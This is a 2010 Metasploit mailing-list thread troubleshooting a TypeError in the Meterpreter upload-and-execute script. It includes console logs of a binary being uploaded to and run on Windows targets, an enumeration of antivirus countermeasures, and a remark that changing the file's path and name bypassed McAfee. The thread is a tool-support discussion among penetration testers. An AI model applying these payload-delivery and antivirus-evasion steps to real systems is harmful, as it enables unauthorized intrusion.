Re: upload and execute script error in meterpreter

[Miguel Rios <miguelrios35 () yahoo com>]

Sure. Here's the relevant output. Strangely enough, although it does throw up the type error the actual binary does get 
uploaded and executed. Still it is a bit strange. I just tried with a win 7 target and I got the same result. You can 
see the rest of the scripts kept running so I'm not posting them here since I think that's irrelevant.

cheers

 Running Multiscript script.....
[*] Running script List ...
[*]     running script uploadexec -e /opt/metasploit3/msf3/bc.exe
[*] Running Upload and Execute Meterpreter script....
[*]     Uploading /opt/metasploit3/msf3/bc.exe....
[*]     /opt/metasploit3/msf3/bc.exe uploaded!
[*]     Uploaded as C:\Users\xxx\AppData\Local\Temp\xxx94.exe
[*]     running command C:\xxx\tosh\AppData\Local\Temp\xxx94.exe
[*] Finished!
[*]     running script
[-] Error: TypeError can't convert nil into String
[-] Error in script:

[*]     running script getcountermeasure
[*] Running Getcountermeasure on the target...
[*] Checking for contermeasures...
[*]     Possible countermeasure found cmdagent.exe
[*]     Possible countermeasure found sched.exe
[*]     Possible countermeasure found avguard.exe
[*]     Possible countermeasure found avgnt.exe C:\Program Files\Avira\AntiVir Desktop\avgnt.exe
[*]     Possible countermeasure found cfp.exe C:\Program Files\COMODO\COMODO Internet Security\cfp.exe
[*] Getting Windows Built in Firewall configuration...


--- On Fri, 10/8/10, Rob Fuller <mubix () room362 com> wrote:

From: Rob Fuller <mubix () room362 com>
Subject: Re: [framework] upload and execute script error in meterpreter
To: "Miguel Rios" <miguelrios35 () yahoo com>
Cc: framework () spool metasploit com
Date: Friday, October 8, 2010, 5:39 PM

Could you please reply with a bit more of your console log? I just ran uploadexec without error. It might be how 
multiscript is parsing but I won't know unless you post that portion of your console log.


Thanks,
--
Rob Fuller | Mubix
Certified Checkbox Unchecker
Room362.com | Hak5.org



On Fri, Oct 8, 2010 at 1:08 PM, Miguel Rios <miguelrios35 () yahoo com> wrote:


Well, I tried changing some of the scripts default behavior (location and filename on the target) and it sucessfully 
bypassed mcafee, but I still get the annoying error (which i don't get if i run the bc.exe directly on the target, 
which is XP SP3):



Finished!
[*]     running script
[-] Error: TypeError can't convert nil into String
[-] Error in script:


Any ideas?

--- On Fri, 10/8/10, Miguel Rios <miguelrios35 () yahoo com> wrote:



From: Miguel Rios <miguelrios35 () yahoo com>
Subject: [framework] upload and execute script error in meterpreter


To: framework () spool metasploit com
Date: Friday, October 8, 2010, 3:22 PM



Hi,
When trying to run the upload and execute script in a meterpreter reverse tcp session I'm getting the following error 
because  McAfee Viruscan is picking up the created svhost*.exe as New Malware.b. When I download bc.exe directly and 
execute it on the target it runs fine and doesn't get picked up by McAfee Viruscan. It seems mcafee is picking up on 
the fact that svhost is being created rather than the actual binary. Anyone else have this experience? I guess I could 
try to change the script and change maybe the path and name of the uploaded file to see if that makes a difference.



Running Multiscript script.....
[*] Running script List ...
[*]     running script uploadexec -e /opt/metasploit3/msf3/bc.exe
[*] Running Upload and Execute Meterpreter script....
[*]     Uploading
 /opt/metasploit3/msf3/bc.exe....
[*]     /opt/metasploit3/msf3/bc.exe uploaded!
[*]     Uploaded as C:\DOCUME~1\Util\LOCALS~1\Temp\svhost80.exe
[*]     running command C:\DOCUME~1\Util\LOCALS~1\Temp\svhost80.exe


[*] Error Running Command C:\DOCUME~1\Util\LOCALS~1\Temp\svhost80.exe: Rex::Post::Meterpreter::RequestError 
stdapi_sys_process_execute: Operation failed: 2
[*] Finished!
[*]     running script
[-] Error: TypeError can't convert nil into String


[-] Error in script:
Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: 2
[*] Finished!
[*]     running script
[-] Error: TypeError can't convert nil into String
[-] Error in script:






      
-----Inline Attachment Follows-----

_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework





      
_______________________________________________

https://mail.metasploit.com/mailman/listinfo/framework







_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework